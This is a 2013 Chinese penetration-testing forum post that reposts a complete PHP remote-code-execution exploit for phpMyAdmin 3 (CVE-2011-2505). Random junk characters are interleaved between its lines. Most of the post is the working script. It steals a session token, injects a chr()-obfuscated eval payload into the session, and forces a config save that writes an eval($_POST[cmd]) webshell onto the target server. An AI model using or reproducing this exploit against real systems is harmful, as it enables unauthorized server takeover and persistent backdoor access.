中国网络渗透测试联盟
标题:
phpadmin3 remote code execute php版本exploit
[打印本页]
作者:
admin
时间:
2013-2-21 09:13
标题:
phpadmin3 remote code execute php版本exploit
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
2 W: l$ Y3 N" F$ u
9 W/ c0 }$ A' x: N
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
% P6 V, V( ]2 a6 u0 p
' A0 t, |; ?, h* D3 V
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
' m2 t1 Z- k6 r" V
一是session.auto_start = 1;
% M7 v$ A6 |- V4 _6 o1 V& [
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
" @6 U5 h9 N, J" }0 @: }; W$ z8 p
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
; k1 e8 f' o7 Z9 ]) [$ y; F
9 |" N* t3 ^7 y7 ^4 [6 J
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
) y& v; ]0 D; B6 a, T
! ]- Q0 B1 ]0 Z$ y
于是写了这个php版本的exp,代码如下:
" v+ X R, p/ j% h- X: a! `
1 A6 a2 M( n% q) g5 v6 L8 ~
#!/usr/bin/php
" n+ O1 W- b0 c
<?php
8 ~& c6 v( ~2 A- t4 V' r
print_r('
" K% ~1 w. z3 d* t$ r. W$ X( B* r
+---------------------------------------------------------------------------+
# X7 {4 `2 Y- X- V
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
8 F- R6 W s, u9 E( k& ?
by oldjun(
www.oldjun.com
)
! B, |* ~/ Z. d# m
welcome to
www.t00ls.net
; _4 X- q) Y, F2 w9 B9 a8 S
mail:
oldjun@gmail.com
# D5 P+ y: M% ?' R* f0 S! X
Assigned CVE id: CVE-2011-2505
7 ~4 W/ T5 {% S( ~! j; J1 j( E8 q
+---------------------------------------------------------------------------+
8 d/ C" d, W6 k; `" d* `$ }6 l: [
');
# @/ m0 P- o& g9 G' F/ j" r/ A6 @) ~
* L7 V& }; V1 I* a7 ^. I- N
/**
" [1 P: n; B. h$ S$ Z# L7 H
* working when the directory:"config" exists and is writeable.
8 u0 j! o% w; D1 Y
**/
% t" s! c! ]# \
' {1 F/ Q7 i1 t
if ($argc < 3) {
5 m* ], R; d$ `# R! k
print_r('
# L+ R( g( ]' O- e5 x
+---------------------------------------------------------------------------+
# Q# K2 z5 r2 \" f! `
Usage: php '.$argv[0].' host path
3 b0 v5 F8 F) {8 t. J) V$ e5 D
host: target server (ip/hostname)
8 |/ s* F+ f+ h6 ~6 r, v1 ?
path: path to pma3
5 w' ]7 \. I& J9 ]
Example:
$ [) C0 b5 o1 J- N* m7 k$ F
php '.$argv[0].' localhost /pma/
+ W3 Y3 A+ V4 e" g$ Z
+---------------------------------------------------------------------------+
7 r N! n2 L$ S" Q+ }
');
6 Q1 s- c7 d9 e
exit;
, w( H; M) p U% B, d
}
- r S( _% g' F* D2 Z
" S, ~( x8 f2 T7 C0 P4 s
$host = $argv[1];
/ l# i) G2 e% p+ S( v' A7 c
$path = $argv[2];
+ B, p: z1 ^# f' t# B1 }* g9 M
+ {. u" P. Z' s+ W. x, E
/**
& l1 q/ }; f4 \0 Y Q; P
* Try to determine if the directory:"config" exists
}9 k$ }% [1 U# T, D& a
**/
% D" j8 ]& d" `. J+ R$ E' u
echo "[+] Try to determine if the directory:config exists....\n";
& [+ p: X6 {# `7 y- `
$returnstr=php_request('config/');
: b! q4 o! D* t) X ~) V6 x& G
if(strpos($returnstr,'404')){
$ R) k, J! I. |) z! z- w
exit("[-] Exploit Failed! The directory:config do not exists!\n");
" A2 h, B: |- `0 c0 D- w2 }
}
/ S/ E9 j$ w9 i
1 A. j. z4 f& `6 g" b
/**
# k1 T4 u5 W2 M' V
* Try to get token and sessionid
: w0 Z' j& d1 w- g" J
**/
! L' r" w; ?' Q% o1 \* a8 @1 K
echo "[+] Try to get token and sessionid....\n";
) z9 n/ T* K# a* i
$result=php_request('index.php');
1 r& L( S. G* v" ?" }
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
: G- @8 ^9 o# @# V$ S1 f; B( c
$token=$resp[3];
/ X' E8 N* U1 p6 b, v% w
$sessionid=$resp[1];
! \+ b7 f. X& J. L2 y
if($token && $sessionid){
; t9 ?" W' D8 Q9 D& o; ^
echo "[+] token
token\n";
D0 \, {: H/ e, N0 I
echo "[+] Session ID
sessionid\n";
C! D2 Y1 o- A% P# s( F6 x
}else{
5 v5 t2 _: \- M* B
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
; @- f) ]- u7 O4 M6 A
}
" X0 x2 o9 }% B3 ^) K% ^0 j. K
# ~$ }# V$ W8 p n7 l" D* b5 K
/**
( O5 h2 d) ?; b+ k& B) G& m
* Try to insert shell into session
6 |0 h+ K) m3 k- K/ i; f3 f
**/
/ h( i* j1 t* F
echo "[+] Try to insert shell into session....\n";
$ [& g& [, z# i( K2 \5 ?: M
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
; |" G, X: p! U1 |8 A4 T6 P3 y
3 [! h5 K% M# C
/**
3 o% b; G. l5 A7 Q6 b
* Try to create webshell
) B D! u0 e/ t# [! O" w. q
**/
: w6 e3 J. |" |: x1 n
echo "[+] Try to create webshell....\n";
1 K5 ^4 a9 W; K/ E# f, H/ {: m) A" W
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
& i& p5 H" `6 w; Z
/**
# @% Y G1 I- L! r
* Try to check if the webshell was created successfully
; s7 t0 j3 w% O4 W
**/
) @, d4 v6 p9 f. E
echo "[+] Try to check if the webshell was created successfully....\n";
, v& ?# {5 Z) F4 l: J
$content=php_request('config/config.inc.php');
$ n- L& n1 i% k9 Z' C
if(strpos($content,'t00ls')){
2 Z+ B9 q. _/ R: p- u
echo "[+] Congratulations! Expoilt successfully....\n";
# l, J5 x) v/ ^
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
% N, F9 z4 a9 t2 N$ W) M, y
}else{
% h! x# N2 J8 P# ^
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
* l2 s1 j3 B( ]7 r# W
}
! k; Q, d5 O( I7 I# E k9 h1 s& e
3 F6 t. k2 y/ g7 G
function php_request($url,$data='',$cookie=''){
% r* u! s4 S a; G
global $host, $path;
& P9 m u5 n. B5 X; @8 P2 I* j4 k
1 l7 X9 X" r) d4 s! a7 H
$method=$data?'POST':'GET';
. R$ k' |# E" m+ l5 P6 R& |' Q
3 Q6 G, i* ^- A
$packet = $method." ".$path.$url." HTTP/1.1\r\n";
1 O. `6 c' O" S* U2 L
$packet .= "Accept: */*\r\n";
) Z: B: r& |! J/ w+ M) F; K
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
3 D7 S1 B1 M9 z) h* V
$packet .= "Host: $host\r\n";
' a" [7 h& i$ l# Q
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
8 _' u) B: M& b+ d9 f. f" F$ P
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
- ^. c& Q: Y2 }5 I! V
$packet .= $cookie?"Cookie: $cookie\r\n":"";
0 Z, C. [& t) E" J; p! ^( Z
$packet .= "Connection: Close\r\n\r\n";
# a2 C0 z. J4 i$ J9 I( ]$ S" _, h
$packet .= $data?$data:"";
( B5 F/ L; l! j+ j1 J0 k. e
7 ]- X+ }$ q" C2 S/ h' H
$fp = fsockopen(gethostbyname($host), 80);
8 K6 ^ Z4 B1 d. q$ R& u
if (!$fp) {
& ^# j! L4 @) C' h8 Y2 ]
echo 'No response from '.$host; die;
3 B" i; _0 @8 v- o+ E3 v8 W
}
& e, Y, ?7 q$ `+ b" Y2 t
fputs($fp, $packet);
) F* G9 g/ ~4 Y8 I- V$ \" u
# [, y& U2 K/ I# z
$resp = '';
~' d/ Y6 e: f x. O
9 B! }+ L" N3 j$ Y7 ~
while ($fp && !feof($fp))
# w" f, V% ^! _' v# X
$resp .= fread($fp, 1024);
6 ]4 K0 z3 e4 X& L
( Y, F* R* _9 W1 a- B
return $resp;
+ C1 r1 L/ n% U+ H3 z
}
! z" A5 D* `' h! b: {' h( l6 t
; r5 q! ?4 B/ s3 \
?>
/ R. J/ V. f3 L
.
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2